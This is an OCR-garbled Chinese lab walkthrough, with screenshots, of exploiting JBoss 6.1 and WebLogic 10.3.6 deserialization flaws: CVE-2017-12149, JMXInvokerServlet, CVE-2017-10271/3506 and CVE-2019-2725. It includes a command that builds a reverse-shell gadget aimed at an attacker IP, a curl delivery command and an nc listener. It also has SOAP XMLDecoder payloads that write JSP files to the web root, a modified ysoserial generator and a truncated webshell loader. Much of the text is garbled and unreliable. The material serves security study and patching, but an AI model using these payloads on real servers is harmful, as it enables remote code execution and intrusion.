<role rolename="gadmin-gui"/>

<role rolename="admin-script"/>

<user username="tomcat" password="tomcat" roles="manager-gui,Kmanager-script,manager-3jmx,mar

JBossRALEAGLGPLYF AT, 1T LATEAE AT i Ml B2 FH v G 3% (8 . JBoss s /M FEEJBI) 75 2 AR 55 45 »

2. fif)E, X HMRIESER H3N: Cjboss-6.1.0.Final
3. AL R JBOSS_HOME fii#y: C:\jboss-6.1.0.Final
fEpath A : ;%JBOSS_HOME%\bin;

Localhost 2080

g e ——
oo S IS Eayptior Eaew

Localhost:a080

I Ensble Post data [ Ensble ke

L)
© @ b redint

Manage this JBoss AS Instance

drninistration Conzole

IHO GED FEW KEw TED #Hw

HIE@ [0 \jboss5.1.0.Finad

QRE-O-7| L8 x#x |3 0 X9 .

F1FC:\jboss-6.1.0.Final\bin X(ifirun.bat. Hinfo

B |t | Ee B | esEsioe |
R 2] et aptos
.
EREW®
ERED p—
|
S 0 T
[REZE © deployers.DeployersInpl.checkConplete (Depl)
& A |
TAVA_HOME C:\Program Fx]ex\]qv-\)dkl 8.0_144 at i main.MainDeployerInpl.checkConplete (MainD|
posShom b 0T [:2.2.2.601
mBER_oF P : Plug
MM - ruice.deployers MainDeployerPlugin.c|
ath C:\Documents and Seumgx\ul . -Finall
PATHET CON; EXE:. BAT:CHI: VES 1| b e dertoyment Prof ileDeploverPluginies
10 11ConpiotecPoot 11ebeploseruginioss o7 [:0.2.21
PR | @E0 | #Ro

T B 11
tartBootstraps Al

- T N " N -alpha61

E] READNE. it 3 AR

2019523 7:15
2019-5-23 7:15
2019-5-23 7:15
2019-5-23 7:15
2019-5-23 7:15
2019-5-23 7:15
2011-6-16 8:48
2011-6-16 3:01
2011-6-16 8:48
2011-6-16 8:48

h-n-a::s;wu-ssm-:hn-uu-n«k o
1

9,984 INFO [org.apache.coyote.httpti.Hetpi1Protocol] Starting Coyote HIT|
1.1 on hueyi20.0.0. 1508
4 INFO [org.apache.coyote.ajp.AjpProtocol] Starting Coyote AJP/1.3 of
-127.0.0.1-8089
o 0,000 Lorg. jhoss.hootstrap. inpl.h rver.AbstractServer] Jl
[6.1.0.Final “Neo"1 Started in 40c:704

Note /¥ & JDKIR A /£ 1.6~1.72 8], 1.8i 4 jBossiz 7T JMX Console£: i B 50045 1%

HTTP Status 500 -

0T Exception report
pnessage
descriptionks

e server encountered an internal

that prevented request

jbossBRIAHIE H1%: C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war


http://jbossas.jboss.org/downloads/

ace I EbN

F4C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

<!-- A HTTP/1.1 Connector on port 8080 -->
<Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="${jboss.bind.address}"
redirectPort="${jboss.web.https.port}" />

Ftaddress="${jboss.bind.address}" i i #yaddress="0.0.0.0" ,J{ & j= JBoss

JBoss 5.x/6.x [ /754t (CVE-2017-12149)

Vil /invoker/readonly
JRIEI500, M TURAFAE, MITAFE R T 54k

. TBess Meb/3.0.0-CRZ - E-- %

182, 188, 31, 205, 8080/ inwoker/r 2 adorly 2 c|® [anx | wld & & N T

HETCRAFT - Services- \ [No information available]

THT >| = @ SQL- XS5+ Eneryptiont Encodingr Otherw

oo Load URL [ htep://192. 165, 31 2058080/ invoker /v saderly
1 selit URL
¥ Execute

[~ Enable Post data | Enable Referrer
HTTP Status 500

Exception repart
ATy The server encountered an internal ervor () that orevented it from fulfiling this request,

java. io. FOFException
java. io. ObjectInputStrean$PeckInput Stream readFul ly (ObjectInputStream. java: 2325)
java. io. ObjectInputStream$BlockDatalnputStream. readShort (Object Input Stream. java:2794)
java. io. ObjectInputStream. readStrearHeader (ObjectInputStream. java: 801)
java. io. ObjectInputStream <init>(ObjsctInputStream. java:299)
org. jboss. invocation. http. servlet. ReaddnlvhccessFilter. doFilter (ReadOnlvAccessFilter. java:102)

The full stack trace of the root cause is avalable in the JBnss Weh/3.0.0-CR2 lnas.

FIH T H.:JavaDeserH2HC, # 1 1i% 4% —1~Gadget: ReverseShellCommonsCollectionsHashMap, i 1% -4 il 414k K4 -

£ iReverseShellCommonsCollectionsHashMap.class

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
" i ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666 (ip/&ncfifEfJip)
FIH:

curl http://192.168.31.2085:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

er#¥ nc -lvp 6
6.0 kB 14 Jan 2018
unk

rom (UNKNOWN) [192. . 3007 g

root@kali: ~/Downloads/JavaDeserH2HC-master
File Edit View Search Terminal Help

1.0.Final\bin>whoami / ] 1 java -cp
192.168.31.2.
8blf\administrator

1.E3‘Final\bin:x[| /Do 0 ) to field java.util.Ha
to the maintain of

of further il

in a future r
i Map.

a,A
{font-fam

BODY {font-famil
} B {font-family
-color:#525D76;} P {font-family:
black; fi i 12px; A {

Statu

JBoss JMXInvokerServlet < 7 51 4% I i

il /invoker/JMXInvokerServiet


https://github.com/joaomatosf/JavaDeserH2HC

RITNR, B PG AR AR T AR .

INT v| = @& B5QL- X35~ Eneryption~ Encodings Other-

W = Load URL http://192. 168. 31. 205:8080/ 1 nvoker/ Mk InvokerServlet

e « QPSR

» Execute
av

MR- Pt dadn T BBl Bofoee o |

EFEATH IWXInvokerSerwlet x|
P— —
JEIInvokerServlet

JCHFZER L application/y—java-serialized-object
B ¢ hetp://192. 168, 31. 205:8050

HFEEE Firefox IOfAANFRMIA?
. s it from fulfiling this request.

AR, ETQ | % it frorn fulfiling this request.

& RFILE )

[~ LG BshERiARREh EAHRREET . ()

readful ly (Object InputS
ream. readShort (ObjectI:

= 5 (ObjectInput 3tream. jav
s B tStream. java:299)
T Tiee A-BITaoi

X BB # R I CVE-2017-121494: fiffiser, K% Fl/invoker/JMXinvokerServleti# [11.
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3) fEcC:\jboss-6.1.0.Final\server\default\conf\login-config.xml 1] LA75 $|JMX Consoleff]FH J* #fith

<application-policy name="jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag="required">
<module-option name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>


http://xx.xx.xx.xx/[warname]/shellname.jsp

</authentication>

4) BCE s SR, B IhsecH] .

" C:\jboss—6.1.0.Final\serveridefault\confipropstjax—consoleroles.
S WiRE BT #MEE IXHEO0 FEE IBE UKERL e Coding HO® i

=0 ]
=18 %]

Juﬁ.ﬂﬁlﬁmf’"\# 2B x| 0| e te &

ZE |3{$§|,‘1 » I 1 z 4

RN E R
T

zl ibox=-BIN DT —

1 # A sample roles.properties file for use with the UsersRolesloginModule

] 2 adwin=JBossidwin,HttpInvoker % E}]* E R ®EO W W
g C:y % lxhsec=JBogshduin,HrtpInvoker *-‘ }jﬁig o \) - j |)31§§ I
Bl | jboss6.1.0.Fina F ZE .
Bl || server MC:\jboss6.1.0. Final\server\default\conE\propshjmz—consele users.properties  EditPlum =10 =g
| 0 default SSNEE @EE BERE #RE THEO AEE TA@ MERL Zen Cuing HOE FHh =l | I
= f = e E - )
o uﬁﬂm*n‘?olé’ LB %90 s M=V EEED R
e ul_>| 1 2 ? =
1 # 4 sample users.properties file for use with the UsersRolesLoginflodule
£ 2 admin=adminc
[ 3 lxhsec=lxhsec
= | jboss=6.1.0.Fina (P4
YT 11| I =T gl . - , i
7 it user—password [
FI 10 conf F
5) #JdJBoss, HIRUITF:
&« X O ® 192.168.31.205:8080/jmx-console/

HTTP Status 401 -

[T Status report
gej

[T ery This request requires HTTP authentication ().

Boss Web/3.0.0-CR2

2.5/ IMX Console, J& & J& JBoss

C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

WebLogic

WebLogic#: 2 [# Oracle /A # i & i) —applicationserver, i) )5 /& — AN T JAVAEEZE 4 g v [l £,

AWeb 7 HI 2 37 F RVEH P72 187 () Java s FH IR 45 25«
Fo

BRikiG F1:7001

PIRIRBA: 10.3.6

BR

http://192.168.31.205:8080
(SRR R AR

BFRE ‘

=5

F#dhE: https://download.oracle.com/otn/nt/middleware/11g/wis/1036/wis1036_win32.exe?

AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
FEGER G AGEIZ AT, —E AR — ok 1.

TRTERL G

, fEC:\Oracle\Middleware\user _projects\domains\base_ domainiX

XA H Xt startWebLogic. cmd

WYEA Vi http://127.0.0.1:7001/, Ftifii - Hi B Error 404--Not Found, B[22

BCESNMTT I, 1E A > I8 > TR

WebLogic/& [ F-HF & e, 8 ELR A 3 A
FtJavallish#thikfilJava EnterprisebrifE () 2 4 M5 N KRBL 44N I FF R SEpR S AE LY.

JH /Weblogiclli % -

FinE IR Server CEFEIRS %), FTHEHTSEE, (£ ihk b3 N0.0.0.0, 175, )i Weblogicfi 2% 11wl .

BE i BEiex | @ | Bl Es ) 65F
- £1 0]
. —mEa &%  WkE E¥E  SsL KERE | WE
base_domain =
R
ClsE — LR#E
g
[ = 13 P T AT BB AR S A — MR ThEE, PINSRIARILEE IS
(AT R B
{--Coherence Server %5 o i @
i--Coherence S8t
FE AL )
%..IygpémE%% F#5: adminServer
R -EES I ESGES _
EE HEH: (Hone)
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et L =
£ (Standalone)
#FHIE =]
L:'Q -1 0.000

* BEEBIAFSER
o BZMETE T EA
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DL SIS 3 358 1 4 5% J1) Weblogic 10.3.6

XMLDecoder / /7 54t 7%{H (CVE-2017-10271 & CVE-2017-3506)

ks =2

ER# i A

E1S

RERRTRIEI RS

AR 25 88 2R IS

BEETIARES
(=

HREBEEMNE

I AR25 28 F T 0

EERT L@

WeblogicfJWLS SecurityH {5} 42 fikwebservice il 55, Hrh i il 7 XMLDecoder KA HT FH ) A4 N IXMLELCHE 75 A bT (it A2 b B B4k IR, S 8onT

PATER A2

Vil /wis-wsat/CoordinatorPortType
SR [ G R UL, T AR SR -


https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe?AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
http://127.0.0.1:7001/

IHT *| = @ BEQLr X85~ Encryptiont Encodinge Other~

@ Load URL hitp:/f127.0.0.1:7001/wls—wsat/CoerdinaterPor tType ﬂ E
0 split URL
+. Execute

[~ Enable Post data [ Enable Referrer

Web Services

|Endpoint |\ nformation

Service thttp: //schemas. xm| soap. org

Address: http: 27 0.001: 7001/ Awl s—weat/CoordinatorPortType
Hame: 2004/10, tHISAT Bary i
ane ?ﬁ:’: ff/ h/'”sa ‘ =TSR lhsol http: /127 00 1:7001 /fwl s-wsat CoordinatorPortType?wsd]
Port p. //schemas. xm| scap. org .
Nz;e' /W5f2004} ;Tzézmentatlon wehlogic. wsee. wetx. wsat. v10 endpoint. CoordinatorPortTypePortimp
© A0/wsatlCoordinatorPortTypePort

A UAFET Iwis-wsat/CoordinatorPortType «

W E R AEwls-wsat (L ({1 Uri 2 Z 5200, 1T LAEE B web xlf3 1 HT A Z 28 m i Uri, B 1e
A

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

BRIASZ BRI Urite

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortTypell
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortTypell
/wls-wsat/RegistrationRequesterPortTypell

it G BRIk, I, Hdcontent-Type i %% Ttext/xml, 7 M A 25 HXMLDe coder A f#HT .

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1

Host: 127.0.0.1:7001

User-Agent: Mozilla/5.@ (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: text/xml

Connection: close

Content-Length: 629

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqgk/war/test33.jsp</string>
<void method="println">
<string>
<! [CDATA[
<% out.print("test777776666666"); %>
11>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Jjlnl /bea_wls_internal/test2.jsp, I F:



Burp Intruder Repeater Windows Help

Target | Prosy | Spider | Scanner | Intruder | Repeater | Sequencer | Descder | Comparer | Estender
1
Go Cancel < >
Request Response
Rawm | Farams | Headers | Hex | XML Raw | Headers | Hex | XML
Content-Type: bext/xml 2 HTTP/ 1.1 500 Internal Berwer Erzor

Comnection: elose
Contens-Lengeh: 626

<soapeny:Envelope
smlns: s0apenv="hetyp [ 3chemas sxmlsosp_ozal soap/ envelope/ "
>
<soapeny:Header>
<wozh: WozkContexe
smlns; work="hoep://bea.com! 2004/ 06/ s0ap/werkazea/ ">
<3avas

<object class="java io PrintWrites"s

<string»servers/ Admindervez/ v/ _WL_invernal/bes_wls_ince
Enal/83ddqk/ waz/best? Ispe/ stxing>
<void method="println">

Conneerion: close
Dace: Tue, 04 Jun 2018 11:42:24 T
Content-Type: test/uml, chazsst=uc
K-Powered-By: Serviet/Z.5 JSP/2.1
Content-Length: 5277

<ml version='l1.0' encoding='UTT-
smlns: §="heep: /) schemas oml 0ap - o
mlng s ned="heey://wwa. wd. oxg/ 2002/
codes<fanltstring>iaua. io. PrintWei
jeva lang. String</ £xulbstringsedet
xmlns:nsZ="hoep://Jax-ws_ dev.java.
nete="To disable chis fravuze, set

Com. sun.znd .ws. £ault . 30 AFTaul cBuil
property to Ealze"<messagedjmva.i
Jeva. Lang. Strings/messager<ns®: ska

METCRAFT - Services-

[Ho information available]

iy v| = @ S %S5 Eneryptien Encodingr Othert
@ Load VRL [ http://1Z7.0.0, 1:700L/bea_wls_internal/testZ. jsp
0 selie vEL

¢l Exsemte

I Ensble Fost data [ Ensble Referrer

test7FITT6666666

catzings Class='weblogic wsee workares Wozk
<11eDaTAL WorkCons exvknl InpusAdapees . 3
' method="z e adUTT"/ 2ensl: fxame
ot _pxint (VeestTTITECELEEEN) ; &5 class=tueblogic wozkazea xpi Uorkl
11> £ile="UorkContextEntrylnpl java® 1
</ sbrings
</void>
<veid mechod=vcloze'/>
</ abject>
</ Gavas

</work: WorkContexts
</ soapenv:Headers
<zcapenviBody/ >

EEEE -

Done

% WexkCont eweTube .

B ) e

2 matehes

AFAEIAVAIRIMIAEATAT GE 2R IXAIE FXMUA BT BEE, ATELS % R S Et.
CVE-2017-3506(f1%h 10 1 %k sk %L, % T #Eweblogic/wsee/workarea/WorkContextXmlinputAdapter.java 7 il 1 validate /5%, 4iikPayloadH (1975 & /& 75
17{Eobject Tag.

private void validate(InputStream is){

WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {

SAXParser parser =factory.newSAXParser();

parser.parse(is, newDefaultHandler() {

public void startElement(String uri, StringlocalName, String gqName, Attributes attributes)throws SAXException {
if(gName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");

}
1
} catch(ParserConfigurationException var5) {
throw new IllegalStateException(“"Parser Exception”, var5);
} catch (SAXExceptionvaré) {
throw new IllegalStateException("Parser Exception”, var6);
} catch (IOExceptionvar7) {

throw new IllegalStateException("Parser Exception”, var7);

A THs objecttf Hivoidih FT Seid b4k T, 742 T CVE-2017-10271.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dgk/war/test33.jsp</string>
<void method="println">
<string>
<I[CDATA[
<% out.print("test777776666666"); %>
11>
</string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

BEREEW

D ZERT.
2) sollpwis-wsatéi fF, i i 5 11404,

1.f#FC: \Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
2.JiFkC: \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war
3.fFkC: \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat

4. % jiWeblogic


https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

) 127.0.0. 1:7001 /4ls-wsat/CoordinatorFor 7 £ | @| e ‘1} B &+ @ © = - 0 & &G

. JMETCRAFT - Services- | [Mo information availablel

T v| = & SQL- ¥35+ Eneryptions Encodings Others
4 Lead URL

http://127.0.0, 1:7001 f#ls-wsat/Coor dinatorFortType|
B spliv e

D Execute

I” Enable Post data [ Enable Referrer

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

The zerver has not found anything matching the Request-URI. No indication iz given of
whether the condition is temporary or permanent.

If the zerver does not wish to make this information available to the client, the stat

Note: Wis-wsat.war/@ TN 4, X HlEAT R BR i o 42 0 T 3 R A ¥ )5 SR, Oracle iy 75 AN Ont JElbAT b 64 1

Weblogic wis9_async_response,wls-wsat x /7 511k 2 X5 47 IR (CVE-2019-
2725)

SMZAAT: bea_ws9_async_response.war, Ws-wsat.war
A 10.3.6.0, 12.1.3.0
bea_wls9_async_response.war

Vil /_async/AsyncResponseService
SR B R GU, AT BEAELE R .

FHIF ta [ word-wrap: breakword, |}a@m{ b #EELed { colar} el el vl - 48 By - & e~ D~ & »

INT ~| = & SOL BASICS- \NIOW BASED- EEROR/DOVELE QUERY- TOOLS+ WAF BIPASS- ENCODLNG- HIML- ENCRIPTION- OTHER- XSS+ LFI-
@ Lead URL (http://127.0.0.1:700L/ _asyne/hsyncResponsedervice

B splic L

» Execute

[ Post data [ Referrer o OuiEX . v %UEL ym. g BASEGY e

Insert replacing strif

Tnsert string to repl.‘ [¥ Replace A11

@R~ Arockiesw grsse [JRE~ @EK~ @FRES- [CE#hE- SFEr S8 KIA- mEEEAR- |[Em- QC
MIETCRAFT - Services  [Ho information available]

Welcome to the {http://www. bea. com/async

/AsyncResponseService} AsyncResponseService
home page

Test page

WSDL page

A A AZE T /_async/AsyncResponseService
Wt Ebea_wls9_async_responsefd i Ui 2 RI5E 0, 1T LU B web. xml #4752 BIE W (f Uri, %459
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

BRINZ S0 (¥ Uritel <

/_async/AsyncResponseService
/_async/AsyncResponseServicelms
/_async/AsyncResponseServiceHttps

wis-wsat.war3Z 51 (¥ URI ) XMLDecoder J 751 kil (CVE-2017-10271 & CVE-2017-3506)

JlialE

15265 2 CVE-2017-10271(f1 X — A\, H4'ERE4 G CVE-2017-10271(14h T, $4TRECIHITE

Yok — FCVE-2017-10271 (140 T A4S

public void startElement(String uri, String localName, String gName, Attributesattributes)throws SAXException {
if(gName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element gName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element gName:new");
} else if(qName.equalsIgnoreCase("method")) {

throw new IllegalStateException("Invalid element gName:method");
} else {



if(gName.equalsIgnoreCase("void")) {
for(int attClass = @; attClass < attributes.getlLength();++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
throw new IllegalStateException(“Invalid attribute for elementvoid:" + attributes.getQName(attClass));

}
if(gName.equalsIgnoreCase("array")) {
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is notvalid for array element.");

HH1CVE-2017-3506(f1 41 T #2131 T object, CVE-2017-10271114h T /2idJE T new, methodbr%, Hvoid/m i A fgikindex, array/miin] LAiclass, {H/2
I R byte A 1) .

Zeid CVE-2017-102714h T 2 R yclasshrie R Bl AT S8, X A 3ATAT LU Oracle KA1 (fJCVE-2019-27254h T A&k,

CVE-2019-2725%h | #iisi 7r 4s, HFiclassA 7 4, (R 7 arraybsh ibyte K& . WF:

else if (gName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element gName:class");

}
else {
if (gName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null &% !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException(“Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
R

Weblogic 10.3.6 # /i oracle.toplink.internal.sessions.UnitOfWorkChangeSet#4 i i %7 1117 readObject().

public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException {
java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes);
ObjectInputStream objectIn = new ObjectInputStream(byteIn);

//bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets
allChangeSets = (IdentityHashtable)objectIn.readObject();
deletedObjects = (IdentityHashtable)objectIn.readObject();
}

UnitOfWorkChangeSeti# 2 H0/& —/MByte #4l, [HILFA] 7 22K Payload i 4t JyByte(].
il Hlysoserial“ i Payload

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_respo

[« [+]

SRIGAHEHT R HI4RIS, #fPayloadilf 1744k Byte[]

import java.beans.XMLEncoder;

import java.io.*;

public class Test{
public static void main(String[] args) throws Exception {

File file = new File("C:\\Users\\lxhsec\\Downloads\\JRE8u20_RCE_Gadget-master\\exploit.ser");
//iFHlysoserial X ifipayload
FileInputStream fileInputStream = new FileInputStream(file);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length());

int buf_size=1024;
byte[] buffer=new byte[buf_size];
int len=0;

while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){
byteArrayOutputStream.write(buffer,0,len);

BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("C:\\Users\\1lxhsec\\Downloads\\ysoserial-mast

//1Efjdkfixmlencoderifibyte #1415 A% result.txt

XMLEncoder xmlEncoder = new XMLEncoder(oop);
xmlEncoder.flush();
xmlEncoder.writeObject(byteArrayOutputStream.toByteArray());


http://kickjava.com/src/oracle/toplink/essentials/internal/sessions/UnitOfWorkChangeSet.java.htm

xmlEncoder.close();
byteArrayOutputStream.close();
fileInputStream.close();

}
}
[4]
Pt%Payload

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 127.0.0.1:7001

User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept:*/*

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Content-Type: text/xml

Content-Length: 178338

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.0rg/2005/08/addressing" xmlns:asy=
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>

/ /ARG BT XML .
</void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

]|

R
Request Response

Raw | Params | Headers | Hex [ XhiL Raw | Headers | Hes
POST /_asyne/AsyncResponseService KITE/1 1 4 HITF/L 1 202 Accepted
Host: 127.0.0.1:7001 Connection’ close
User—Agent: Mozills/5.0 (Windews NT 5.2; rv:48.0) Gecko/20100101 Date: Sat, 15 Jun 2019 11:54:09 GMT
Firefox/18.0 Content-Length: 0
Accept #/* I-Pomered-By: Servlet/2.5 JSP/2.1

Accept-Language: zh-Cl, zh: q=0.8, enUUS: q=0.5, en:q=0. 3
Accept-Encoding: gzip, deflate

Connection: close

Content-Type: text/xml |
Content-Length: 148114

1
J EfW GEE ETH EFC FEOQ FRC TAQ PEEQ Ze Cding EOK B

<soapenv: Envelope = 5 5 e & ) <2 || A3 i =

xnlns’ soapeny="http //schemas xnlsosp ore/soap/envelope/” IS d@lemy Iﬁl‘ & B X9 C| L %HEAn w=ind D’EE
xnlns wsa="http //www w3 org/2005/06/addressing” AN E e K| ; 1

xmlns asy="http //www bea con/asyne/AsyneResponseServics”? = — 1 Lahsec

<soapeny: Header 2

“wsaAction’xx(/wsa Action’(wsa!RelatesTo xx/wsa:RelatesTo> B LD te

<nork: WorkContext B[

xnlng work="http://bea. con/2004/06/ soap/workarsal ">
<java>class>stringseracle. toplink internal. sessions. UnitOfforks e
hangeSet</string>void> v

2] [+ ][ 2] [rmeaeamnecm 0 matohes 2 [«

Done

fdi Flysoserial £ i K fiE I T Windows - &5, W RLELInux T G AT H , 0 SCEREAT— RS vF,  MERMEAT JANRLF, BRIILFRATT AT BA
Fysoserial K HEAT T 25

X B A Hsysoserial i) Gadgets java LT H k. #4%4: ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java.

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class

ClassPool pool = ClassPool.getDefault();

pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));

final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// ---Start
String cmd =

if(command.startswith("filename:")) {
String filename = command.substring(9);
try {
File file = new File(filename);
if (file.exists()) {
FileReader reader = new FileReader(file);
BufferedReader br = new BufferedReader(reader);
StringBuffer sb = new StringBuffer("");

String line = H
while ((line = br.readlLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
cmd = sb.toString();
} else {
System.err.println(String.format("filename %s not exists!", filename));
System.exit(@);
}
} catch (IOException e) {
e.printStackTrace();
}
Yelse {
// run command in static initializer

// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

cmd = "java.lang.Runtime.getRuntime().exec(
command.replaceAI1("\\\\", "\\\\\\\\").replaceAll("
Y5

"\



System.err.println(cmd);
/! ---end

clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());

CtClass superC =
clazz.setSuperclass(supercC);

final byte[] classBytes =

// inject class bytes into instance

pool.get(abstTranslet.getName());

clazz.toBytecode();

Reflections.setFieldValue(templates, "_bytecodes”,
classBytes, ClassFiles.classAsBytes(Foo.class)

1)

// required to make TemplatesImpl happy

Reflections.setFieldValue(templates,
Reflections.setFieldvalue(templates,

return templates;

TRAF I 2 2 Pemvn

2 1111 (¥ /2 JDK1.8

clean package -DskipTests.

&R fysoserial, A4 AT, Felfl 7ARIGHAT .

A WA PIILT B I TestCode. txt.

//TestCode.txt
String WEB_PATH =
String ShellContent =

try {
java.io.PrintWriter printWriter =

printWriter.println(ShellContent);

printWriter.close();
} catch (Exception e) {
e.printStackTrace();

AT
java -jar

)

reuslt.txt#% ## s Byte[] J5 47,

| e | <

A rTa |

ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u2l "filename:C:\Users\lxhsec\Desktop\TestCode.txt"

o e o)

new byte[][] {

_name", "Pwnr");
_tfactory", transFactory.newInstance());

"servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echolxhsec.jsp";
"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader ¢

new java.io.PrintWriter(WEB_PATH);

~jar 3 -0.0. ¢ T

Target: ntpii127 0.0.1:7001 | 4] | 7

POST /_asyne/AsyncResponseService HITP/1.1
Host: 127.0.0.1:7001

User-Agent: Mozilla/5.0 (Windows N 5.2
Firefox/18.0

Acceptoh/k

Accept-Language: zhCl, zh;q=0. 8, encUS: q=0.5, en; g=0. 3
Accept-Encoding: grip, deflate

Connsction close

Content-Type: text/snl

Content-Length: 185002

rvi48.0) Gecko/2X

Ccoapenv:Envelope
xmlns: soapenv="http:// schenac
e weas

cosp. org/seap/envelope/”
108/ sdér ezzing”
sl azsy="kttp://wwn. bea. con/azyme/ AsyneResponzeSarvice”>

/w3, o g/’

Ceoapenv Headar>
CwealMetiondwxfusa Aetion>wea RelatesToome uza RelatasTo>
work: WorkContext

anlns i works "t tp://bes. con/20)

6/s0ap/norkarsal ">
Cava>(elass) (etringoracle. toplink, internal. sessions. Unit0ENorks
hengeSet (/string) Creid>

array class="byte” length="3771")

v

“void index="0">
<yte 814/ byte> i
voidr v

(2] (<) (=] 7] [rree = seareh tean 0 matohes

Done

HITB/1.1 202 Accepted
Connectiom: close

Tate: Sat
Content-Length: 0

T-Powered-By: Servlet/2 5 JSP/2.1

kbW SEE BTQ #EQ ¥NQ FEE TEGE NKBQ e Coding BAE i

15 Jun 2019 12:19:22 6T

L=}
T

E @E@ FEQ 4@ IA@ Hha

= x 9| @

